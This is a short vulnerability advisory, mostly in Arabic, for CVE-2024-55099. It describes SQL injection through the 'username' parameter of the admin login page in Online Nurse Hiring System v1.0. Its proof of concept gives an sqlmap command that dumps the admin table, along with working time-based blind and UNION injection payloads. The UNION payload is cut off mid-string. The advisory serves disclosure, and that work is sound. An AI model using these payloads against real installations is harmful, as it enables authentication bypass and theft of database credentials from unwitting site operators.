CVE-2024-55099-Online-Nurse-Hiring-System-v1.0-SQL-Injection-Vulnerability

• المؤلف: ugurkarakoc

الصفحة الرئيسية للبائع

• https://phpgurukul.com/online-nurse-hiring-system-using-php-and-mysql

رابط البرنامج

• https://phpgurukul.com/?sdm_process_download=1&download_id=17826

نظرة عامة

• Online-Nurse-Hiring-System-v1.0 يعاني من عدم كفاية التحقق من صحة الإدخال وتنقيته لبارامترات 'username' مما يخلق ثغرة لهجمات حقن SQL، مما يتيح الوصول غير المصرح به إلى قاعدة البيانات ويعرض أمن النظام للخطر.

تفاصيل الثغرة

• CVE ID: CVE-2024-55099
• الإصدار المتأثر: Online-Nurse-Hiring-System-v1.0
• الملف المعرض للثغرة: /admin/index.php.
• أسماء البارامترات: username
• نوع الهجوم: محلي

المراجع:

• https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2024-55099
• https://nvd.nist.gov/vuln/detail/CVE-2024-55099

الوصف

• يؤدي عدم وجود التحقق المناسب من صحة الإدخال وتنقيته لبارامترات 'username' إلى تمكين المهاجم من صياغة استعلامات حقن SQL، وتجاوز آليات المصادقة، والحصول على وصول غير مصرح به إلى قاعدة البيانات

إثبات المفهوم (PoC) :

• sqlmap -r r.txt -dbs --level 5 --risk 3 --batch -D onhsdb -T tbladmin --columns --dump

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=admin' AND (SELECT 3898 FROM (SELECT(SLEEP(5)))CrDy) AND 'rbGV'='rbGV&inputpwd=test&login=

    Type: UNION query
    Title: Generic UNION query (NULL) - 2 columns
    Payload: username=-6075' UNION ALL SELECT 68,CONCAT(0x7176706a71,0x7168445671545a434e
---